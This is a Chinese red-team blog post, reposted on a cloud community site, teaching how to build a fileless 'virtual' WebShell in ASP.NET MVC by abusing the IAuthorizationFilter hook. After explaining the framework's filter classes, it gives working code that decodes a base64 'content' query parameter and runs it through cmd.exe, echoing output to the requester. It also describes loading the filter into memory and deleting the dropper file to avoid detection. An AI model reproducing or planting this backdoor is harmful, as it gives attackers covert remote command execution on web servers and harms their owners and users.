前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >.NET实现虚拟WebShell第3课之IAuthorizationFilter

.NET实现虚拟WebShell第3课之IAuthorizationFilter

作者头像
亿人安全
发布2022-12-23 14:03:31
4160
发布2022-12-23 14:03:31
举报
文章被收录于专栏:红蓝对抗红蓝对抗

0x01 背景

授权过滤器(IAuthorizationFilter)在认证过滤器(IAuthenticationFilter)之后,从命名来看AuthorizationFilter用于完成授权相关的工作,所以它应该在Action方法被调用之前执行才能起到授权的作用。不仅限于授权,如果我们希望目标Action方法被调用之前中断执行的流程“做点什么”,都可以以AuthorizationFilter的形式来实现

0x02 效果

大致可以分为三步,后续文章里笔者还会继续简化和高效利用,目前先运行第1步访问 /dotnetofAuthenticationFilter.aspx 将虚拟文件注入到内存,并删除此文件;第2步打开新的浏览器标签页访问默认主页 /?content=dGFza2xpc3Q=也可以正常触发,记得tasklist需base编码。成功结果如下图

0x03 原理

3.1 FilterAttribute

在MVC中所有的过滤器默认都继承了基础类FilterAttribute,如下面的代码片断所示,FilterAttribute特性实现了IMvcFilter接口,该接口定义了Order和AllowMultiple两个只读属性,分别用于控制筛选器的执行顺序以及多个同类的筛选器能够同时应用到同一个目标类或者方法。

代码语言:javascript
复制
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple = false)]
public abstract class FilterAttribute : Attribute, IMvcFilter
    {
        private static readonly ConcurrentDictionary<Type, bool> _multiuseAttributeCache = new ConcurrentDictionary<Type, bool>();
        private int _order = -1;
        public bool AllowMultiple => AllowsMultiple(GetType());
        public int Order
        {
            get
            {
                return _order;
            }
            set
            {
                if (value < -1)
                {
                    throw new ArgumentOutOfRangeException("value", MvcResources.FilterAttribute_OrderOutOfRange);
                }
                _order = value;
            }
        }

        private static bool AllowsMultiple(Type attributeType)
        {
            return _multiuseAttributeCache.GetOrAdd(attributeType, (Type type) => type.GetCustomAttributes(typeof(AttributeUsageAttribute), inherit: true).Cast<AttributeUsageAttribute>().First()
                .AllowMultiple);
        }
    }

从应用在FilterAttribute上的AttributeUsageAttribute的定义可以看出该特性可以应用在类型和方法上,这意味着筛选器一般都可以应用在Controller类型和Action方法上。只读属性AllowMultiple实际上返回的是AttributeUsageAttribute的同名属性,通过上面的定义我们可以看到默认情况下该属性值为False。

3.2 OnAuthorization

在MVC中所有的AuthorizationFilter实现了接口IAuthorizationFilter。如下面的代码片断所示,IAuthorizationFilter定义了一个OnAuthorization方法用于实现授权的操作。作为该方法的参数filterContext是一个表示授权上下文的AuthorizationContext对象, 而AuthorizationContext直接继承自ControllerContext。

AuthorizationFilter的执行是进行Action执行的第一项工作,因为Action方法执行等操作只有在成功授权的基础上才会有意义,后续创建一个表示授权上下文的AuthorizationContext对象,然后将此AuthorizationContext对象作为参数,按照Filter对象Order和Scope属性决定的顺序执行所有AuthorizationFilter的OnAuthorization。

3.3 AuthorizeAttribute

微软MVC框架默认提供了AuthorizationFilter实现类AuthorizeAttribute,该类既继承了抽象类FilterAttribute又实现了IAuthorizationFilter接口,如果我们要求某个Action只能被认证的用户访问,可以在Controller类型或者Action方法上应用具有如下定义的AuthorizeAttribute特性。AuthorizeAttribute还可以具体限制目标Action可被访问的用户或者角色,它的Users和Roles属性用于指定被授权的用户名和角色列表,中间用采用逗号作为分隔符。如果没有显式地对Users和Roles属性进行设置,AuthorizeAttribute在进行授权操作的时候只要求访问者是被认证的用户。如下代码片段

代码语言:javascript
复制
public string Roles
        {
            get
            {
                return _roles ?? string.Empty;
            }
            set
            {
                _roles = value;
                _rolesSplit = SplitString(value);
            }
        }
        
        public string Users
        {
            get
            {
                return _users ?? string.Empty;
            }
            set
            {
                _users = value;
                _usersSplit = SplitString(value);
            }
        }

如果授权失败(当前访问者是未被授权用户,或者当前用户的用户名或者角色没有在指定的授权用户或者角色列表中),AuthorizeAttribute会创建一个HttpUnauthorizedResult对象,并赋值给AuthorizationContext的Result属性,意味着会响应一个状态为“401,Unauthorized”的回复。如下图AuthorizeAttribute类里定义的OnAuthorization,里面包含用户Users和角色Roles属性,AuthorizeCore方法用来实现授权检查,HandleUnauthorizedRequest方法是当授权失败时处理的动作

0x04 WebShell

下面笔者将改写OnAuthorization方法,首先我们在站点文件夹下添加一个名为 dotnetofAuthorizeFilter.aspx 的过滤器文件,创建MyAuthenticationFilter类继承 IAuthorizationFilter 接口,OnAuthorization方法内获取外部传入的base64数据,得到request对象后解码,另外为了具备命令执行后回显,使用StandardOutput.ReadToEnd读取命令执行后的所有返回数据,代码片段如下

代码语言:javascript
复制
if (content != null)
            {
                HttpResponseBase response = filterContext.HttpContext.Response;
                Process p = new Process();
                p.StartInfo.FileName = "cmd.exe";
                p.StartInfo.Arguments = "/c " + System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(content)); 
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.Start();
                byte[] data = Encoding.Default.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
                response.Write("<pre>" + Encoding.Default.GetString(data) + "</pre>");
                response.End();
            }

0x05 结语

.NET MVC下还有很多这样的过滤器可以被用来实现虚拟Webshell,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET相关的安全知识,请大伙继续关注。另外文章涉及的PDF和Demo以及工具已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-10-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 背景
  • 0x02 效果
  • 0x03 原理
    • 3.1 FilterAttribute
      • 3.2 OnAuthorization
        • 3.3 AuthorizeAttribute
        • 0x04 WebShell
        • 0x05 结语
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档